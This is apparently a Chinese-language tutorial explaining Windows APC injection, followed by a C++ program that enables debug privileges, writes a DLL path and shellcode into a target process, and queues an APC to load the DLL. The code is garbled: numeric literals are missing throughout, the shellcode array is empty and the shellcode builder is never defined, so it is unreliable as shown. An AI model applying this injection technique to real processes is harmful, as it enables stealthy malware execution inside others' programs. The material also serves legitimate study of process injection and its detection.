APC注入

0X01 注入原理

当线程被唤醒时APC中的注册函数会被执行的机制，并依此去调用我们的DLL加载代码，进而完成注入的目的

具体的流程：

1 当EXE里的某个线程执行到sleepEX(),或者waitForSingleObjectEX()（其实还有WaitForMultipleObjectsEx

　， SignalObjectAndWait，MsgWaitForMultipleObjectsEx）这几个函数时，会产生一个软中断。

2 当线程再次被唤醒时，此线程会首先执行APC队列中的被注册的函数。

3.利用QueueUserAPC()这个API可以在软中断的时间内插入一个函数指针，如果我们插入的是Loadlibrary()执行函数的话，就能达到注入DLL的目的

0x02代码实现

在注入的操作准备前需要提升权限，使我们有足够的权限去对相应的函数进行操作。

　　三步。

1先OpenProcessToken（）打开令牌，

2然后LookupPrivilegeValue()

3AdjustTokenPrivileges()调整令牌权限，提取完毕进行注入

注入：

1先要根据进程ID，开启我们的远程注入线程。

2开启完毕后，需要进行相应的内存的空间申请VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

拥有自己的空间后就可以根据路径写入待注入的DLL路径。

3 用WriteProcessMemory（）函数

4 再根据GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll得到我们LoadLirbrary（）地址

5 最后调用sleepEx（）函数，利用QueueUserApc()函数对APC队列进行操作，完成注入。这里是因为sleepEx可以触发这个函数

完整代码如下：

// LoadExe.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>

using namespace std;
typedef struct _UNICODE_STRING
{
    USHORT                    Length;
    USHORT                    MaximumLength;
    PWSTR                    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _INJECT_STRUCT {
    UINT_PTR LdrLoadDllAddress;   //
    UNICODE_STRING DllFullPath;   //4,4
    HANDLE OutHandle;
} INJECT_STRUCT, *PINJECT_STRUCT;
UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address);

BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath);
int GrantDebugPrivileges();
//analyzer.py  ---> Start(LoadExeFullPath,Inject,ProcessID,ThreadID,DllPath) LoadExe()
//APC 注入
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

    int ProcessID = ;
    int ThreadID = ;

    if (__argc < )
    {
        return -;
    }
    if (!strcmp(__argv[], "Inject"))
    {

        GrantDebugPrivileges();
        ProcessID = atoi(__argv[]);
        ThreadID = atoi(__argv[]);
        return InjectByAPC(ProcessID, ThreadID, __argv[]);
    }
    return ;
}

//Target,exe
BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath)
{
    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;
    if (ProcessID <=  || ThreadID < )
    {
        return FALSE;
    }
    printf("Success\r\n");
    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);    //
    if (ProcessHandle == NULL)
    {

        return FALSE;
    }

    if (ThreadID > ) {
        ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
        if (ThreadHandle == NULL)
        {
            CloseHandle(ProcessHandle);
            return FALSE;
        }
    }

     //malloc  virtualalloc  globalalloc  heapalloc  new  malloc

    //注入都要在目标进程空间中申请内存  写入Dll的绝对路径
    UINT32 DllPathLength = ;
    DllPathLength = (UINT32)strlen(szDllFullPath);
    WCHAR* wzDllFullPath = (WCHAR*)calloc(, (DllPathLength + ) * sizeof(WCHAR));   //在LoadEx进程空间中
    if (wzDllFullPath == NULL)
    {

        return FALSE;
    }
    for (int i=;i<DllPathLength;i++)
    {
        wzDllFullPath[i] = (UINT16)szDllFullPath[i];
    }

    //单字转换双字

    WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + ) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (wzDllFullPathData == NULL)
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }
    SIZE_T ReturnSize = ;
    if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + ) * sizeof(WCHAR), &ReturnSize))
    {

        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }
    LPVOID LdrLoadDll;
    LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll

    INJECT_STRUCT InjectStruct = {};

    InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll;
    InjectStruct.DllFullPath.Buffer = wzDllFullPathData;
    InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR));

    PINJECT_STRUCT InjectStructData = NULL;
    InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (InjectStructData == NULL)
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }

    if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize))
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }
    char szShellCode[] = {};
    UINT32  ShellCodeSize  = MakeShellCode((UINT8*)szShellCode, InjectStructData);

    CHAR* szShellCodeData = NULL;
    szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (szShellCodeData == NULL)
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }

    if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize))
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }

    if (ThreadHandle)
    {

        if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData))
        {
            free(wzDllFullPath);
            wzDllFullPath = NULL;
            return FALSE;
        }

    }

    free(wzDllFullPath);
    wzDllFullPath = NULL;
    return TRUE;
}

int GrantDebugPrivileges()
{
    HANDLE TokenHandle = NULL;
    TOKEN_PRIVILEGES PrivilegesToken;
    LUID v1;
    int iRet;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
    {
        return ;
    }

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1))
    {
        CloseHandle(TokenHandle);
        return ;
    }
    PrivilegesToken.PrivilegeCount = ;
    PrivilegesToken.Privileges[].Luid = v1;
    PrivilegesToken.Privileges[].Attributes = SE_PRIVILEGE_ENABLED;

    iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL);
    CloseHandle(TokenHandle);

    return iRet;
}